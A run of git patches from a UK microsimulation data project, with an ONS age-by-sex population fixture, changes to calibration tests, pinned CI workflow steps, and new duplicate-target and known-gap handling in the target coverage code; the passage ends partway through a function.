+Females,103,1211
+Females,104,677
+Females,105 - 109,546
+Females,110 and over,6
+Males,0,333572
+Males,1,344421
+Males,2,356607
+Males,3,376143
+Males,4,373747
+Males,5,386967
+Males,6,395428
+Males,7,399866
+Males,8,409003
+Males,9,420639
+Males,10,417531
+Males,11,418996
+Males,12,428612
+Males,13,438674
+Males,14,439496
+Males,15,433546
+Males,16,431615
+Males,17,436434
+Males,18,425336
+Males,19,422999
+Males,20,430550
+Males,21,430470
+Males,22,426240
+Males,23,423436
+Males,24,426041
+Males,25,435235
+Males,26,447885
+Males,27,452338
+Males,28,459538
+Males,29,451896
+Males,30,454060
+Males,31,462487
+Males,32,460659
+Males,33,470586
+Males,34,476185
+Males,35,473059
+Males,36,467528
+Males,37,469878
+Males,38,458073
+Males,39,457277
+Males,40,454111
+Males,41,439326
+Males,42,438740
+Males,43,436382
+Males,44,439505
+Males,45,441201
+Males,46,423905
+Males,47,393520
+Males,48,386917
+Males,49,395093
+Males,50,402512
+Males,51,406800
+Males,52,422253
+Males,53,436908
+Males,54,450989
+Males,55,439963
+Males,56,449773
+Males,57,447985
+Males,58,451039
+Males,59,446161
+Males,60,447763
+Males,61,440594
+Males,62,429773
+Males,63,418061
+Males,64,402529
+Males,65,384785
+Males,66,372436
+Males,67,360028
+Males,68,341388
+Males,69,326411
+Males,70,309308
+Males,71,305067
+Males,72,296642
+Males,73,281653
+Males,74,279520
+Males,75,277095
+Males,76,279193
+Males,77,286999
+Males,78,302900
+Males,79,223985
+Males,80,208431
+Males,81,199761
+Males,82,175241
+Males,83,147423
+Males,84,122567
+Males,85,118037
+Males,86,107840
+Males,87,95378
+Males,88,80913
+Males,89,67392
+Males,90,55358
+Males,91,43439
+Males,92,34474
+Males,93,26990
+Males,94,20167
+Males,95,14236
+Males,96,9666
+Males,97,6400
+Males,98,4165
+Males,99,2573
+Males,100,1535
+Males,101,844
+Males,102,456
+Males,103,227
+Males,104,109
+Males,105 - 109,73
+Males,110 and over,0
diff --git a/policyengine_uk_data/tests/test_national_age_bands.py b/policyengine_uk_data/tests/test_national_age_bands.py
index f636255a..354929a6 100644
--- a/policyengine_uk_data/tests/test_national_age_bands.py
+++ b/policyengine_uk_data/tests/test_national_age_bands.py
@@ -4,8 +4,8 @@
 15-29, ...). A band that wide pins only its own total: the calibration could
 satisfy 15-29 while distributing those people any way it liked inside the
 band, and it settled on one that starved 18-24 down to ~3.4M against ONS's
-~5.4M. The finer regional bands do not help, because they constrain regional
-weights rather than the national ones.
+~5.4M. Regional ten-year age bands constrain the same household weights,
+but provide less age detail than national five-year sex bands.
 
 These tests pin the five-year granularity and the no-overlap property, so a
 future edit cannot quietly widen the bands or reintroduce the superseded CSV
@@ -13,13 +13,17 @@
 """
 
 import re
+from pathlib import Path
 
+import pandas as pd
+
+from policyengine_uk_data.targets.sources import ons_demographics
 from policyengine_uk_data.targets.sources.ons_demographics import (
     _GENDER_BANDS,
     get_targets,
 )
 
-_GENDER_AGE = re.compile(r"^ons/(female|male)_(\d+)_(\d+)$")
+_GENDER_AGE = re.compile(r"^ons/(female|male)_(\d+)_(\d+|plus)$")
 
 
 def _gender_age_targets():
@@ -27,9 +31,11 @@ def _gender_age_targets():
 
 
 def test_bands_are_at_most_five_years_wide():
-    """A wider band leaves its internal age composition unconstrained."""
-    for low, high in _GENDER_BANDS:
-        assert high - low <= 5, f"band {low}-{high} is too wide to pin composition"
+    """Only the terminal top-coded band may be wider than five years."""
+    assert _GENDER_BANDS[-1] == (80, None)
+    for low, high in _GENDER_BANDS[:-1]:
+        assert high is not None, "only the terminal band may be open-ended"
+        assert 0 <= high - low < 5, f"band {low}-{high} is too wide to pin composition"
 
 
 def test_bands_are_contiguous_and_non_overlapping():
@@ -41,7 +47,7 @@ def test_bands_are_contiguous_and_non_overlapping():
 
 def test_young_adult_ages_are_covered_by_narrow_bands():
     """18-24 must not sit inside one wide band, which is the failure mode."""
-    covering = [b for b in _GENDER_BANDS if b[0] <= 24 and b[1] >= 18]
+    covering = [b for b in _GENDER_BANDS if b[0] <= 24 and (b[1] is None or b[1] >= 18)]
     assert len(covering) >= 2, (
         "18-24 is covered by a single band; its composition would be free"
     )
@@ -54,9 +60,13 @@ def test_national_gender_age_targets_are_emitted_once_per_band():
     assert len({t.name for t in targets}) == len(targets)
 
 
-def test_national_gender_age_targets_sum_to_uk_population():
-    """Double-counted bands would show up here as a doubled total."""
+def test_national_gender_age_targets_sum_to_uk_population(monkeypatch):
+    """Every fixture age must be counted exactly once across both sexes."""
+    projection = pd.read_csv(
+        Path(__file__).parent / "fixtures" / "ons_uk_population_2025.csv"
+    )
+    monkeypatch.setattr(ons_demographics, "_download_uk_projection", lambda: projection)
     targets = _gender_age_targets()
     year = 2025
-    total = sum(t.values.get(year, 0) for t in targets)
-    assert 65e6 < total < 73e6, f"national gender-age total {total / 1e6:.1f}M"
+    total = sum(t.values[year] for t in targets)
+    assert total == projection[str(year)].sum()

From dc81b55e727505d98f04c97b59125ced18395510 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 23:16:12 -0400
Subject: [PATCH 50/76] Put an estimate exactly on a band edge inside it (delta
 review of #599)

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 policyengine_uk_data/tests/test_fit_report.py | 6 ++++++
 policyengine_uk_data/utils/fit_report.py      | 9 +++++++--
 2 files changed, 13 insertions(+), 2 deletions(-)

diff --git a/policyengine_uk_data/tests/test_fit_report.py b/policyengine_uk_data/tests/test_fit_report.py
index 9b567e78..a116f7d5 100644
--- a/policyengine_uk_data/tests/test_fit_report.py
+++ b/policyengine_uk_data/tests/test_fit_report.py
@@ -126,6 +126,12 @@ def test_band_edges_are_inclusive(error, expected):
     assert band(error) == expected
 
 
+def test_an_estimate_exactly_on_a_band_edge_is_inside_it():
+    """Delta review of #599: 110 / 100 - 1 is 0.10000000000000009."""
+    s = summarise(_log({"edge": (110, 100), "quarter": (125, 100)}, local=LOCAL))
+    assert s["national"] == {"edge": 0, "quarter": 1}
+
+
 def test_a_repeated_local_target_is_refused():
     log = _log({"a": (1, 1)}, local=[(1, 1)])
     with pytest.raises(ValueError, match="repeats a local target"):
diff --git a/policyengine_uk_data/utils/fit_report.py b/policyengine_uk_data/utils/fit_report.py
index 9a42581b..b4db12d7 100644
--- a/policyengine_uk_data/utils/fit_report.py
+++ b/policyengine_uk_data/utils/fit_report.py
@@ -69,8 +69,13 @@ def load_policy(path=None) -> FitPolicy:
 
 
 def band(error: float) -> int:
-    """The index in ``BANDS`` of an error: 0 when within 10% (inclusive)."""
-    return int(np.searchsorted(BAND_EDGES, float(error), side="left"))
+    """The index in ``BANDS`` of an error: 0 when within 10% (inclusive).
+
+    The error is rounded to 9 decimal places first, so an estimate exactly
+    10% off (110 / 100 - 1 = 0.10000000000000009 in floating point) is
+    within 10%.
+    """
+    return int(np.searchsorted(BAND_EDGES, round(float(error), 9), side="left"))
 
 
 def summarise(log) -> dict:

From 45d474284aed3527680a0b2e9439aa444bba88c2 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 23:17:22 -0400
Subject: [PATCH 51/76] Merge #599; test the fit summary's and the base's step
 order (delta review of #600)

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../tests/test_distribution_validation.py             | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/policyengine_uk_data/tests/test_distribution_validation.py b/policyengine_uk_data/tests/test_distribution_validation.py
index 7d61f0a7..7738583d 100644
--- a/policyengine_uk_data/tests/test_distribution_validation.py
+++ b/policyengine_uk_data/tests/test_distribution_validation.py
@@ -232,3 +232,14 @@ def test_the_measurement_runs_after_the_tests_and_cannot_skip_them():
     assert names.index("Save the fit summary") < measure
     assert steps[measure]["if"] == "${{ !cancelled() }}"
     assert steps[measure]["continue-on-error"] is True
+    # The fit summary runs after the tests too, whatever they did.
+    summarise = names.index("Summarise the calibration fit")
+    assert names.index("Run tests") < summarise
+    assert steps[summarise]["if"] == "${{ !cancelled() }}"
+    assert steps[names.index("Save the fit summary")]["if"] == "${{ !cancelled() }}"
+    # On the base, the distribution measurement runs after the fit summary.
+    base = yaml.safe_load(workflow.read_text())["jobs"]["base-build"]["steps"]
+    base_names = [step.get("name") for step in base]
+    assert base_names.index("Save the base fit summary") < base_names.index(
+        "Measure the base's income distribution and single ages"
+    )

From 15426b7596491f726e990d61b2073ca22775159d Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 23:18:17 -0400
Subject: [PATCH 52/76] Merge #600; pin the tool to #2425's 5d5558ed and test
 the aggregate wiring (delta review of #602)

- The tool pin moves to 5d5558ed, which refuses any non-index install and
  fingerprints the model before the simulation is built.
- The head's tool checkout and aggregate measurement have
  continue-on-error: a missing result fails the comparison instead.
- A test pins one tool commit across all three checkouts, !cancelled() on
  every aggregate step, and the crash fallback's status line.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .github/workflows/pull_request.yaml           | 10 ++++--
 policyengine_uk_data/tests/test_fit_report.py | 35 +++++++++++++++++++
 2 files changed, 42 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/pull_request.yaml b/.github/workflows/pull_request.yaml
index 0b840994..8bbbef2c 100644
--- a/.github/workflows/pull_request.yaml
+++ b/.github/workflows/pull_request.yaml
@@ -125,16 +125,20 @@ jobs:
           path: distribution_report.json
       - name: Check out the aggregate-impact tool
         if: ${{ !cancelled() }}
+        # A missing result fails the comparison, not the test job.
+        continue-on-error: true
         uses: actions/checkout@v6
         with:
           repository: PolicyEngine/policyengine-uk
-          ref: c0d0c49d663de48308788605453804a494b9f5b5
+          ref: 5d5558ed242e364cde19a11cb5f890c44c5e03aa
           path: pe-uk-tool
           sparse-checkout: |
             policyengine_uk/utils/aggregate_impact
             policyengine_uk/data/fiscal_partition.yaml
       - name: Measure national aggregates with the model fixed
         if: ${{ !cancelled() }}
+        # A missing result fails the comparison, not the test job.
+        continue-on-error: true
         run: |
           tool="$RUNNER_TEMP/tool"
           mkdir -p "$tool"
@@ -231,7 +235,7 @@ jobs:
         uses: actions/checkout@v6
         with:
           repository: PolicyEngine/policyengine-uk
-          ref: c0d0c49d663de48308788605453804a494b9f5b5
+          ref: 5d5558ed242e364cde19a11cb5f890c44c5e03aa
           path: pe-uk-tool
           sparse-checkout: |
             policyengine_uk/utils/aggregate_impact
@@ -305,7 +309,7 @@ jobs:
         uses: actions/checkout@v6
         with:
           repository: PolicyEngine/policyengine-uk
-          ref: c0d0c49d663de48308788605453804a494b9f5b5
+          ref: 5d5558ed242e364cde19a11cb5f890c44c5e03aa
           path: pe-uk-tool
           sparse-checkout: |
             policyengine_uk/utils/aggregate_impact
diff --git a/policyengine_uk_data/tests/test_fit_report.py b/policyengine_uk_data/tests/test_fit_report.py
index 6e130569..dc14487f 100644
--- a/policyengine_uk_data/tests/test_fit_report.py
+++ b/policyengine_uk_data/tests/test_fit_report.py
@@ -287,3 +287,38 @@ def test_the_pull_request_workflow_uploads_only_summaries():
         if s.get("name", "").startswith("Post")
     )
     assert "if [ ! -s fit.md ]" in post["run"]
+
+
+def test_the_aggregate_comparison_is_wired_consistently():
+    """Delta review of #602: one tool commit on every side, the aggregate
+    steps independent of the other measurements, and a crash fails."""
+    from pathlib import Path
+
+    import yaml
+
+    workflow = Path(__file__).parents[2] / ".github" / "workflows" / "pull_request.yaml"
+    text = workflow.read_text()
+    jobs = yaml.safe_load(text)["jobs"]
+    refs = {
+        step["with"]["ref"]
+        for job in jobs.values()
+        for step in job.get("steps", [])
+        if step.get("name") == "Check out the aggregate-impact tool"
+    }
+    assert len(refs) == 1 and len(next(iter(refs))) == 40, refs
+    for job_id in ("test", "base-build"):
+        for step in jobs[job_id]["steps"]:
+            if "aggregate" in str(step.get("name", "")).lower():
+                assert step.get("if") == "${{ !cancelled() }}", (job_id, step["name"])
+    for step in jobs["test"]["steps"]:
+        if step.get("name") in (
+            "Check out the aggregate-impact tool",
+            "Measure national aggregates with the model fixed",
+        ):
+            assert step.get("continue-on-error") is True, step["name"]
+    compare = next(
+        s for s in jobs["fit-comparison"]["steps"] if s.get("id") == "compare"
+    )["run"]
+    crash = compare[compare.index("aggregate_status=$?") :]
+    assert crash.index('echo "status=1"') < crash.index("aggregates.md")
+    assert "## National aggregates: FAIL (the comparison did not finish)" in crash

From 159db44eecbecd5ce19bbf6e9e33dda488a31e05 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 23:18:36 -0400
Subject: [PATCH 53/76] Show the own-unit sub-heading test reads the heading;
 rewrap two docstrings
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The test that a "£ billion" sub-heading under table 4.19's "£ billion
unless otherwise stated" is not refused now also puts another unit in the
same cell and expects a refusal, so it cannot pass by the heading going
unread. Two docstring lines over the line length are rewrapped.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 policyengine_uk_data/targets/obr_sources.py    | 14 ++++++++------
 policyengine_uk_data/tests/test_obr_sources.py |  7 ++++++-
 2 files changed, 14 insertions(+), 7 deletions(-)

diff --git a/policyengine_uk_data/targets/obr_sources.py b/policyengine_uk_data/targets/obr_sources.py
index 93b81390..dafe7bde 100644
--- a/policyengine_uk_data/targets/obr_sources.py
+++ b/policyengine_uk_data/targets/obr_sources.py
@@ -31,10 +31,11 @@
 folder and then moves them under ``storage/obr_efo/<vintage>/``. It writes
 the manifest with each file's SHA-256, size and download time, and the
 basis of that time: ``mtime``, the file's modification time, or ``given``
-with ``--downloaded-at``, which a copied or unzipped file needs. Each part is written under a temporary name and
-renamed into place, so an interrupted ingest leaves a ``.partial`` file that
-the next attempt names. It never replaces an ingested vintage. Point
-``sources.yaml`` at the new manifest to adopt it.
+with ``--downloaded-at``, which a copied or unzipped file needs. Each part
+is written under a temporary name and renamed into place, so an interrupted
+ingest leaves a ``.partial`` file that the next attempt names. It never
+replaces an ingested vintage. Point ``sources.yaml`` at the new manifest to
+adopt it.
 
 ``--dry-run`` checks everything and prints each workbook's title, SHA-256,
 size and download time and every target's old and new value, writing
@@ -576,8 +577,9 @@ def ingest(
     and a download page that is not https on obr.uk. A dry run returns those
     as ``refusals`` instead; it checks everything else as a real ingest does,
     raising on any other problem, returns the diff and writes nothing. The
-    manifest it returns is not on disk. A dry run of the active vintage on the bytes its
-    manifest names is a rehearsal, so that manifest is not a refusal.
+    manifest it returns is not on disk. A dry run of the active vintage on
+    the bytes its manifest names is a rehearsal, so that manifest is not a
+    refusal.
 
     Everything is checked in a staging folder first: both workbooks read
     and carry the vintage's titles, and the build's parsers yield every
diff --git a/policyengine_uk_data/tests/test_obr_sources.py b/policyengine_uk_data/tests/test_obr_sources.py
index 9bd63c1d..71f2200f 100644
--- a/policyengine_uk_data/tests/test_obr_sources.py
+++ b/policyengine_uk_data/tests/test_obr_sources.py
@@ -5,7 +5,8 @@
 - other bytes, or a workbook with another title, are refused;
 - year columns follow the header row, not the column letter;
 - a missing target or year fails;
-- ingesting a vintage reproduces the build's own targets.
+- ingesting a vintage reproduces the build's own targets;
+- a dry run reports exactly what the real ingest would refuse.
 """
 
 import io
@@ -832,6 +833,10 @@ def test_a_sub_heading_restating_the_tables_own_unit_is_not_refused(heading):
     values = read_row(ws, row, MANIFEST)
     ws[f"A{row - 1}"] = heading
     assert read_row(ws, row, MANIFEST) == values
+    # The same cell giving another unit is refused, so the heading is read.
+    ws[f"A{row - 1}"] = heading.replace("billion", "million").replace("bn", "m")
+    with pytest.raises(SourceError, match="sub-heading"):
+        read_row(ws, row, MANIFEST)
 
 
 _TIMES = st.datetimes(

From cac704bb0543ca989d5ef7fd27fcdc05d9e4bcd5 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 23:18:51 -0400
Subject: [PATCH 54/76] Pin a non-verbose example of the final-weights property
 (delta review of #594)

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 policyengine_uk_data/tests/test_calibrate_save.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/policyengine_uk_data/tests/test_calibrate_save.py b/policyengine_uk_data/tests/test_calibrate_save.py
index b73ee14f..0ebce898 100644
--- a/policyengine_uk_data/tests/test_calibrate_save.py
+++ b/policyengine_uk_data/tests/test_calibrate_save.py
@@ -349,6 +349,7 @@ def __init__(self, params, *args, **kwargs):
 
 @settings(max_examples=20, deadline=None)
 @example(epochs=32, verbose=True)  # a TESTING build
+@example(epochs=32, verbose=False)  # the same, through the non-verbose loop
 @given(epochs=st.integers(1, 40), verbose=st.booleans())
 def test_saved_returned_and_logged_weights_are_the_final_optimiser_state(
     epochs, verbose

From 133632aff00b005aea129332253765194855a0ab Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 23:57:43 -0400
Subject: [PATCH 55/76] Give the download pages in the documented ingest
 command

A dry run now exits 1 when the real ingest would refuse, and a missing
--receipts-url or --expenditure-url is a refusal, so the module's example
command names both obr.uk pages.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 policyengine_uk_data/targets/obr_sources.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/policyengine_uk_data/targets/obr_sources.py b/policyengine_uk_data/targets/obr_sources.py
index dafe7bde..8157ec73 100644
--- a/policyengine_uk_data/targets/obr_sources.py
+++ b/policyengine_uk_data/targets/obr_sources.py
@@ -19,6 +19,8 @@
     python -m policyengine_uk_data.targets.obr_sources ingest \\
         --vintage october_2026 --label "October 2026" \\
         --receipts receipts.xlsx --expenditure expenditure.xlsx \\
+        --receipts-url https://obr.uk/download/<receipts page>/ \\
+        --expenditure-url https://obr.uk/download/<expenditure page>/ \\
         --first-year 2025 --last-year 2031 --dry-run
 
 obr.uk refuses scripted downloads (HTTP 403 to GitHub Actions runners, as

From a5905739cfb325b562c85a6f7b4693189fbf9197 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Fri, 16 Oct 2026 00:18:02 -0400
Subject: [PATCH 56/76] Report duplicate target names, scope known gaps to a
 build kind, and test the matrix against main's
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Answers Sol's review of #595 (F2, F3, F5, F6, F7).

- Duplicates (F2). build_target_matrix now reads every target the sources
  emit (registry.emitted_targets) and select_matrix_targets keeps the first
  of each name, national then region then country, exactly as before. Each
  target it drops gets the status `duplicate`, which fails the build unless
  known_gaps.yaml lists it. test_no_duplicate_names counts the raw emission,
  so it can fail. On the current registry 159 targets are dropped this way:
  156 HMRC SPI projections (#557) and 3 ONS copies (#605). They are listed;
  a name may be listed under two statuses, since the ten SPI £1m+ bands are
  both without signal and duplicated.
- Build kinds (F3). A known gap may set `builds: [testing]` or `[release]`;
  the build kind comes from TESTING, as in create_datasets. A testing-only
  gap may name fnmatch `patterns`, and one now covers every UC payment band
  in testing builds (#598), replacing the three SINGLE bands; release builds
  still fail on any band without signal but the three COUPLE_NO_CHILDREN
  ones. A pattern is stale only if it matches no target. Errors and
  non-finite values are never excused, whatever a gap says. Stale gaps and
  problems are also written, once each, to $GITHUB_STEP_SUMMARY.
- Status order (F5). The status is computed after the column enters the
  matrix, and a column whose status fails leaves it, so each offered target
  ends with exactly one status.
- Reasons (F6). The 85-90 age gaps are permanent while ages are top-coded
  at 80 (#604); no record can hold a postgraduate loan.
- A Hypothesis differential test checks that require_coverage=False builds
  main's matrix from the same sources, duplicates included.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 changelog.d/target-coverage-gate.changed.md   |   2 +-
 .../targets/build_loss_matrix.py              |  78 ++-
 policyengine_uk_data/targets/coverage.py      | 140 ++++-
 policyengine_uk_data/targets/known_gaps.yaml  | 236 +++++++-
 policyengine_uk_data/targets/registry.py      |  30 +-
 policyengine_uk_data/tests/conftest.py        |   6 +
 .../tests/test_obr_universal_credit_target.py |  10 +-
 .../tests/test_target_coverage.py             | 568 ++++++++++++++----
 .../tests/test_target_registry.py             |  23 +-
 9 files changed, 884 insertions(+), 209 deletions(-)

diff --git a/changelog.d/target-coverage-gate.changed.md b/changelog.d/target-coverage-gate.changed.md
index 769f3a14..bcda429e 100644
--- a/changelog.d/target-coverage-gate.changed.md
+++ b/changelog.d/target-coverage-gate.changed.md
@@ -1 +1 @@
-Fail the calibration build when a national target is dropped (no value for the year, no column, an error), has a non-finite value, or enters with no household contributing, unless `targets/known_gaps.yaml` lists it with a reason and an issue. Add `python -m policyengine_uk_data.targets.coverage` to report every target's status on a dataset.
+Fail the calibration build when a national target is dropped (its name already taken, no value for the year, no column, an error), has a non-finite value, or enters with no household contributing, unless `targets/known_gaps.yaml` lists it with a reason and an issue, for every build or only for testing or release builds. Add `python -m policyengine_uk_data.targets.coverage` to report every target's status on a dataset.
diff --git a/policyengine_uk_data/targets/build_loss_matrix.py b/policyengine_uk_data/targets/build_loss_matrix.py
index 49f22a4c..b9d19759 100644
--- a/policyengine_uk_data/targets/build_loss_matrix.py
+++ b/policyengine_uk_data/targets/build_loss_matrix.py
@@ -16,12 +16,12 @@
 import numpy as np
 import pandas as pd
 
-from policyengine_uk_data.targets import get_all_targets
 from policyengine_uk_data.targets.coverage import (
     TargetStatus,
     check_coverage,
     column_status,
 )
+from policyengine_uk_data.targets.registry import emitted_targets
 from policyengine_uk_data.targets.schema import (
     GeographicLevel,
     Target,
@@ -91,12 +91,53 @@ def create_target_matrix(
     return df, targets
 
 
+MATRIX_LEVELS = (
+    GeographicLevel.NATIONAL,
+    GeographicLevel.REGION,
+    GeographicLevel.COUNTRY,
+)
+
+
+def select_matrix_targets(targets):
+    """The targets the matrix offers, and a ``duplicate`` status for each other.
+
+    Targets are taken level by level (national, region, country), each level
+    in the order the sources emit them, and the first target of each name
+    wins. A later target of that name, at the same level or another, is
+    dropped and recorded as a duplicate (targets/coverage.py).
+    """
+    kept, statuses = {}, []
+    for level in MATRIX_LEVELS:
+        for target in targets:
+            if target.geographic_level != level:
+                continue
+            if target.name not in kept:
+                kept[target.name] = target
+                continue
+            first = kept[target.name]
+            statuses.append(
+                TargetStatus(
+                    target.name,
+                    "duplicate",
+                    f"{target.source} {level.value} target for {_years(target)} "
+                    f"dropped for the {first.source} "
+                    f"{first.geographic_level.value} one for {_years(first)}",
+                )
+            )
+    return list(kept.values()), statuses
+
+
+def _years(target: Target) -> str:
+    return ", ".join(str(year) for year in sorted(target.values))
+
+
 def build_target_matrix(dataset, time_period: str = None, reform=None):
     """The target matrix, its values, and each offered target's status.
 
-    A target that is dropped (no value for the year, no column, an error)
-    or that enters with a non-finite value or column, or with no household
-    contributing, is recorded with that status (targets/coverage.py).
+    A target that is dropped (a duplicate name, no value for the year, no
+    column, an error) or that enters with a non-finite value or column, or
+    with no household contributing, is recorded with that status
+    (targets/coverage.py). Each offered target gets exactly one status.
     """
     from policyengine_uk import Microsimulation
 
@@ -109,22 +150,11 @@ def build_target_matrix(dataset, time_period: str = None, reform=None):
 
     ctx = _SimContext(sim, time_period, dataset, reform)
 
-    all_targets = []
-    seen = set()
-    for level in (
-        GeographicLevel.NATIONAL,
-        GeographicLevel.REGION,
-        GeographicLevel.COUNTRY,
-    ):
-        for t in get_all_targets(geographic_level=level):
-            if t.name not in seen:
-                seen.add(t.name)
-                all_targets.append(t)
+    all_targets, statuses = select_matrix_targets(emitted_targets())
 
     df = pd.DataFrame()
     target_names = []
     target_values = []
-    statuses = []
 
     for target in all_targets:
         try:
@@ -132,9 +162,7 @@ def build_target_matrix(dataset, time_period: str = None, reform=None):
             if val is None:
                 statuses.append(
                     TargetStatus(
-                        target.name,
-                        "no_value_for_year",
-                        f"values for {', '.join(str(y) for y in sorted(target.values))}",
+                        target.name, "no_value_for_year", f"values for {_years(target)}"
                     )
                 )
                 continue
@@ -142,9 +170,15 @@ def build_target_matrix(dataset, time_period: str = None, reform=None):
             if col is None:
                 statuses.append(TargetStatus(target.name, "no_column"))
                 continue
-            col = restrict_to_countries(col, ctx.country, target.countries)
-            statuses.append(TargetStatus(target.name, column_status(val, col)))
-            df[target.name] = col
+            df[target.name] = restrict_to_countries(col, ctx.country, target.countries)
+            # The status is of the column as it entered the matrix; a column
+            # whose status cannot be computed leaves the matrix again.
+            try:
+                status = column_status(val, df[target.name])
+            except Exception:
+                del df[target.name]
+                raise
+            statuses.append(TargetStatus(target.name, status))
             target_names.append(target.name)
             target_values.append(val)
         except Exception as e:
diff --git a/policyengine_uk_data/targets/coverage.py b/policyengine_uk_data/targets/coverage.py
index 35bf5729..50147003 100644
--- a/policyengine_uk_data/targets/coverage.py
+++ b/policyengine_uk_data/targets/coverage.py
@@ -1,25 +1,29 @@
 """Required coverage of the national calibration targets.
 
 Every target the registry offers must enter the national loss matrix with
-a finite value and a column that some household contributes to. The
-exceptions are the targets ``targets/known_gaps.yaml`` lists, each with the
-one status it may have, a reason and an issue. ``create_target_matrix``
-checks this, so a build that would calibrate without a target, or against
-one the weights cannot move, fails instead of logging a warning.
+a finite value and a column that some household contributes to, under a
+name no other target has. The exceptions are the targets
+``targets/known_gaps.yaml`` lists, each with the one status it may have, a
+reason and an issue, for every build or only for testing or release builds.
+``create_target_matrix`` checks this, so a build that would calibrate
+without a target, or against one the weights cannot move, fails instead of
+logging a warning.
 
     python -m policyengine_uk_data.targets.coverage <dataset.h5> <year> [out.json]
 
 reports every target's status on a dataset: names, statuses and counts only,
-never household values.
+never household values. Set TESTING=1 to check it as a testing build.
 """
 
 from __future__ import annotations
 
 import json
 import logging
+import os
 import sys
-from collections import Counter
+from collections import Counter, defaultdict
 from dataclasses import dataclass
+from fnmatch import fnmatchcase
 from pathlib import Path
 from typing import Iterable, Optional, Sequence
 
@@ -32,9 +36,11 @@
 IN_MATRIX = "in_matrix"
 # Statuses a known gap may excuse. An error or a non-finite value is never
 # a known gap: it is a broken target.
-EXCUSABLE = ("no_value_for_year", "no_column", "zero_signal")
+EXCUSABLE = ("duplicate", "no_value_for_year", "no_column", "zero_signal")
 NEVER_EXCUSED = ("error", "non_finite")
 STATUSES = (IN_MATRIX,) + EXCUSABLE + NEVER_EXCUSED
+# Pull request builds set TESTING=1 (smaller, faster); release builds don't.
+BUILDS = ("testing", "release")
 
 
 class TargetCoverageError(Exception):
@@ -54,6 +60,14 @@ class KnownGap:
     targets: frozenset
     reason: str
     issue: str
+    builds: frozenset = frozenset(BUILDS)
+    # fnmatch-style globs over target names; testing builds only.
+    patterns: tuple = ()
+
+
+def current_build() -> str:
+    """The kind of build running, read from TESTING as the build itself does."""
+    return "testing" if os.environ.get("TESTING", "0") == "1" else "release"
 
 
 def parse_known_gaps(raw) -> list:
@@ -68,21 +82,37 @@ def parse_known_gaps(raw) -> list:
             "https://github.com/"
         ):
             raise ValueError(f"{where}: needs a reason and an issue URL")
+        builds = entry.get("builds", list(BUILDS))
+        if not isinstance(builds, list) or not builds or not set(builds) <= set(BUILDS):
+            raise ValueError(f"{where}: builds must list testing and/or release")
         targets = list(entry.get("targets") or [])
-        if not targets:
+        patterns = list(entry.get("patterns") or [])
+        if not targets and not patterns:
             raise ValueError(f"{where}: lists no targets")
-        repeated = seen.intersection(targets) | {
-            t for t, n in Counter(targets).items() if n > 1
+        if patterns and set(builds) != {"testing"}:
+            # A release gap names each target, so stale entries show up.
+            raise ValueError(f"{where}: patterns may only excuse testing builds")
+        if any(not set("*?[") & set(pattern) for pattern in patterns):
+            raise ValueError(f"{where}: a pattern needs a wildcard")
+        # A name may be listed under two statuses: a target without signal
+        # whose duplicate is dropped, say. Under one status, it is listed once.
+        names = [(name, entry["status"]) for name in targets + patterns]
+        repeated = seen.intersection(names) | {
+            t for t, n in Counter(names).items() if n > 1
         }
         if repeated:
-            raise ValueError(f"{where}: {sorted(repeated)} listed twice")
-        seen.update(targets)
+            raise ValueError(
+                f"{where}: {sorted(name for name, _ in repeated)} listed twice"
+            )
+        seen.update(names)
         gaps.append(
             KnownGap(
                 entry["status"],
                 frozenset(targets),
                 str(entry["reason"]),
                 str(entry["issue"]),
+                frozenset(builds),
+                tuple(patterns),
             )
         )
     return gaps
@@ -107,42 +137,71 @@ def column_status(value, column) -> str:
     return IN_MATRIX
 
 
-def coverage_problems(statuses: Sequence[TargetStatus], gaps: Iterable[KnownGap]):
-    """(problems, stale): targets out of place, and known gaps that no longer apply."""
-    gaps = list(gaps)
-    excused = {name: gap.status for gap in gaps for name in gap.targets}
-    problems, matched = [], set()
+def coverage_problems(
+    statuses: Sequence[TargetStatus],
+    gaps: Iterable[KnownGap],
+    build: Optional[str] = None,
+):
+    """(problems, stale) in one kind of build, by default the one running.
+
+    Problems are the targets out of the matrix that no gap for this build
+    excuses under their own status. Stale gaps are named targets that no
+    longer have that status, and patterns that match no offered target:
+    what a pattern excuses varies from one testing build to the next, so
+    matching nothing in one build is not stale.
+    """
+    build = build or current_build()
+    gaps = [gap for gap in gaps if build in gap.builds]
+    named = {(name, gap.status) for gap in gaps for name in gap.targets}
+    patterns = [(pattern, gap.status) for gap in gaps for pattern in gap.patterns]
+    problems, matched, present = [], set(), defaultdict(list)
     for row in statuses:
+        present[row.name].append(row.status)
         if row.status == IN_MATRIX:
             continue
-        if excused.get(row.name) == row.status:
-            matched.add(row.name)
-            continue
+        if row.status not in NEVER_EXCUSED:
+            if (row.name, row.status) in named:
+                matched.add((row.name, row.status))
+                continue
+            if any(
+                status == row.status and fnmatchcase(row.name, pattern)
+                for pattern, status in patterns
+            ):
+                continue
